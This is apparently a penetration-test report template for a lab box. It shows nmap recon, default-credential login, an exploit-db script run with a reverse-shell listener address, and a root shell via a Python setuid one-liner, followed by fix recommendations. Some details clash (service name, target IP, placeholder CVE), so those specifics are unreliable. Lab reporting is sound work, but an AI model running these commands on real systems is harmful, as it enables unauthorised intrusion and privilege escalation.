REPORT-TEMPLATE-HENRYPOST

Report - hackme.examplebox

- Author: Henry Post
- Target: hackme.examplebox
- Target IP: 1.2.3.4
- Date: 03/01/2026

Executive Summary

This machine, `hackme`, was enumerated by `nmap` to have ports 22 and 8000 open.

Port 8000 was running a `ladon` web service, which had default credentials of `admin:admin`.

To get non-root access, I used `CVE-2025-1234` on `exploit-db.com`.

From there, I identified a binary with elevated capabilities and used it to pivot to root.

Recommendations

1. Update Ladon to the latest non-vulnerable version.
2. Do not use default credentials of `admin:admin`.
3. Use strong credentials.
4. Do not use `setuid` binary permissions on Python or other binaries. Instead, remove the `setuid` permission from binaries that do not need it.

Recon

I ran an nmap scan that enumerated their ports:

```
nmap -sS -sV $TARGET
```

(IMG_PLACEHOLDER)

I then logged in to the `ladon` tool on port `8000` using `admin:admin` as the credential:

(IMG_PLACEHOLDER)

Non-root access

I searched through exploit-db for CVE-2025-1234, and found a script:

(IMG_PLACEHOLDER)

I ran the script once, and it failed:

```
python 50640.py -t 192.168.68.24 -p 8000 -L 192.168.49.68 -p 4444
```

(IMG_PLACEHOLDER)

So, I created a "Project" in Gerapy's web UI.

(IMG_PLACEHOLDER)

I ran it again, and it succeeded.

(IMG_PLACEHOLDER)

```
ip a
whoami
hostname
date
cat local.txt
```

Root access

For root access, I started by searching for binaries with this command that had the capability to run as root set:

```
getcap -r / 2>/dev/null
```

(IMG_PLACEHOLDER)

I found that `/usr/bin/python3.10` had the capability to run as root set, meaning we can get a root shell by running this command:

```
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

(IMG_PLACEHOLDER)

Proof

Local proof

- `ip a` / `ifconfig`

- `whoami`
- `hostname`
- `date`
- `cat local.txt`
  (IMG_PLACEHOLDER)

Root proof

- `ip a` / `ifconfig`
- `whoami`
- `hostname`
- `date`
- `cat proof.txt`
  (IMG_PLACEHOLDER)